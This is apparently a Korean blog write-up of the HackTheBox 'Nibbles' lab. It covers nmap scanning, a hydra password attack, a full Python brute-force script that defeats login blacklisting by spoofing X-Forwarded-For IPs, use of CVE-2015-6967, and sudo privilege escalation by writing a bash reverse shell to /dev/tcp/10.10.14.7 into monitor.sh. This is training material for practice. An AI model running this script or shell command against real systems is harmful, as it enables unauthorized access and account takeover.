외로운 Nova의 작업실

HackTheBox - nibbles 본문

Server Penetesting/Hack-The-Box

HackTheBox - nibbles

Nova_ 2023. 4. 22. 23:04

오늘은 nibbles 박스를 공격해보겠습니다.

- 환경

공격자 : 10.10.14.7

타겟 : 10.10.10.75

 

- 스캔

nmap -Pn -n -p- -sV -sC -v --min-rate 5000 --max-retries 4 10.10.10.75 -oA nmap

웹서버가 있네요. 한번 들어가봅시다.

간단한 홈페이지네요. 소스코드를 봐보겠습니다. cntl+u

<!-- /nibbleblog/ directory. Nothing interesting here! -->

/nibbleblog 디렉토리가 있는 것 같습니다. 한번 가보겠습니다.

오른쪽 밑에 Powered by Nibbleblog 가 보입니다. 보통 개발자나 라이센스를 표현하기위해 쓰는 문장이므로 플러그인 일 것 같습니다. 한번 검색해보겠습니다.

쉽게 블로그를 만들 수 있는 오픈소스 플러그인이였습니다. 플러그인을 어떻게 사용하는지 알아보겠습니다.

admin.php파일을 통해 로그인이 가능한 것 같습니다. 한번 가보겠습니다.

찾았습니다. 추가로 nobbleblog의 파일 구조도 알 수 있습니다.

https://github.com/dignajar/nibbleblog

 

GitHub - dignajar/nibbleblog: Easy, fast and free CMS Blog. All you need is PHP to work.

Easy, fast and free CMS Blog. All you need is PHP to work. - GitHub - dignajar/nibbleblog: Easy, fast and free CMS Blog. All you need is PHP to work.

github.com

admin 디렉토리가 있는지 확인해보겠습니다.

다른 것도 있는지 확인해보겠습니다.

아주 확실한 nobbleblog 플러그인입니다. 일단 플러그인에대해 취약점이 있는지 확인해보겠습니다.

https://github.com/dix0nym/CVE-2015-6967

 

GitHub - dix0nym/CVE-2015-6967: Nibbleblog 4.0.3 - Arbitrary File Upload (CVE-2015-6967)

Nibbleblog 4.0.3 - Arbitrary File Upload (CVE-2015-6967) - GitHub - dix0nym/CVE-2015-6967: Nibbleblog 4.0.3 - Arbitrary File Upload (CVE-2015-6967)

github.com

해당 취약점이 있을지도 모르겠습니다. 버전을 확인해봐야겠습니다. 구성파일을 뒤져봅시다.

버전이 3.7이라고합니다. 취약점이 존재할 가능성이 높습니다. 근데, 해당 취약점은 아이디랑 비밀번호를 아는 상태에서 리버스쉘을 실행하는 취약점으로 아이디는 admin일 가능성이 높지만 비밀번호는 알지못합니다. 비밀번호를 알아내보겠습니다. 히드라를 사용해서 딕셔너리 공격을 시도해보겠습니다.

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.17 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect username or password"

근데 실패했다고 뜹니다. 아마 연속적인 로그인 시도를 막는 것으로 확인됩니다. 이에대한 파일은 아래와 같은 파일 내용에서 확인할 수 있습니다.

 

5번을 시도하면 5분간 블랙리스트에 등록되서 로그인 시도를 막는 것 같습니다. 이를 우회하기위해 이에 대해 구글에 서칭해보겠습니다.

https://eightytwo.net/blog/brute-forcing-the-admin-password-on-nibbles/

 

eighty-two - Brute-forcing the admin password on Nibbles

Hack The Box provides a platform for practising penetration testing, offering a large number of machines with a wide variety of vulnerabilities. Nibbles is one such machine on Hack The Box and is beginner friendly. This post discusses brute-forcing the pas

eightytwo.net

해당 글을 찾을 수 있습니다. 해당 글에서 말하기를 X-Forwarded-For 헤더를 이용하면 이를 우회할 수 있다는 것입니다. X-FORWARDED-FOR 헤더는 HTTP 요청에서 사용되는 표준이 아닌, 클라이언트의 IP 주소를 전달하기 위해 사용되는 추가적인 헤더입니다. 이 헤더는 대개 프록시나 로드 밸런서와 같은 중개 서버에서 클라이언트의 IP 주소를 포함시키기 위해 사용됩니다. 예를 들어, 클라이언트가 프록시 서버를 통해 서버로 요청을 보내는 경우, 서버는 프록시 서버의 IP 주소를 보게 되며, 이 경우 X-FORWARDED-FOR 헤더를 사용하여 실제 클라이언트의 IP 주소를 알 수 있습니다. 그러나 이 헤더는 클라이언트에서 직접 추가할 수도 있기 때문에 신뢰성이 떨어질 수 있습니다. 즉, 서버쪽에서 부하를 줄이기위해 프록시서버나 로드밸런서를 사용하게되는데, 이때 이 중계서버를 거치게되면 실제 서버가 받는 클라이언트 ip는 중계서버의 ip이므로 클라이언트의 ip를 서버에게 주기위해 X-Forwarded-For 헤더를 만들게되었단 것입니다. 실제 X-Forwarded-For 헤더를 설정하고 변경하면 로그인시도가 계속 되는지 확인해보겠습니다.

112.168.1.3에대해서 이제 막혔습니다. 이를 바꿔서해보겠습니다.

응답이 옵니다. 이를 파이썬 코드로 작성해서 X-Forwarded-For의 값을 변경하면서 딕셔너리 공격을 하는 코드를 짜야하는데 아까 드린 웹페이지에서 볼 수 있습니다.

from random import randint

import requests

# Brute force information
PASSWORD_LIST = '/usr/share/wordlists/rockyou.txt'
RATE_LIMIT = 5
RATE_LIMIT_ERROR = 'Blacklist protection'
LOGIN_FAILED_ERROR = 'Incorrect username or password.'

# Target information
RHOST = '10.10.10.75'
LOGIN_PAGE = '/nibbleblog/admin.php'
TARGET_URL = f'http://{RHOST}{LOGIN_PAGE}'
USERNAME = 'admin'


def attempt_login(password: str, ip: str) -> bool:
    """Performs a login using a given password.

    :param password: The password to try.
    :param ip: Spoof the attacker's IP address with this one.
    :return: True for a successful login, otherwise False.
    """
    headers = {'X-Forwarded-For': ip}
    payload = {'username': USERNAME, 'password': password}
    r = requests.post(
        TARGET_URL, headers=headers, data=payload
    )

    if r.status_code == 500:
        print("Internal server error, aborting!")
        exit(1)

    if RATE_LIMIT_ERROR in r.text:
        print("Rate limit hit, aborting!")
        exit(1)

    return LOGIN_FAILED_ERROR not in r.text


def random_ip() -> str:
    """Generate a random IP address.

    :return: A random IP address.
    """
    return ".".join(str(randint(0, 255)) for _ in range(4))


def run(start_at: int = 1):
    """Start the brute force process.

    :param start_at: Start brute forcing at the password with
     this 1-based index. The number represents the line in
     the password file.
    """
    ip: str = random_ip()
    num_attempts: int = 1

    for password in open(PASSWORD_LIST):
        if num_attempts < start_at:
            num_attempts += 1
            continue

        if num_attempts % (RATE_LIMIT - 1) == 0:
            ip = random_ip()

        password = password.strip()
        print(f"Attempt {num_attempts}: {ip}\t\t{password}")

        if attempt_login(password, ip):
            print(f"Password for {USERNAME} is {password}")
            break

        num_attempts += 1


if __name__ == '__main__':
    run()

이 스크립트를 한번 사용해보겠습니다.

python3 exploit.py

쭉하다가...

nibbles라고 나옵니다. 이를 이용해서 아까 CVE-2015-6967 취약점을 이용해 리버스 쉘을 해줍니다.

쉘을 받았습니다.

 

- 권한 상승

이제 sudo -l을 사용해서 쓸만한게 있는지 확인해봅시다.

moniter.sh를 실행할 수 있습니다. 한번 가보겠습니다.

zip를 풀어줍니다.

이제 moniter.sh에 리버스쉘을 심어줍니다.

$ echo 'bash -i >& /dev/tcp/10.10.14.7/444 0>&1' > monitor.sh

이제 실행해보겠습니다.

이런 오류가 납니다. 해당 오류는 tty 즉 직접적인 터미널에 연결되어있지않고 원격이라서 sudo를 사용할 수 없다는 내용입니다. 이를 우회하는 방법을 검색해보겠습니다. 다양한 방법이 있지만 bash -i 옵션을 이용해 우회해보겠습니다.

$ echo "bash -i" > monitor.sh
$ sudo monitor.sh

 

'Server Penetesting > Hack-The-Box' 카테고리의 다른 글

HackTheBox - Cronos  (0) 2023.04.26
HackTheBox - Beep  (0) 2023.04.24
HackTheBox - brainfuck  (0) 2023.04.21
HackTheBox - Lame  (0) 2023.04.20
HackTheBox - bashed  (0) 2023.04.12
Comments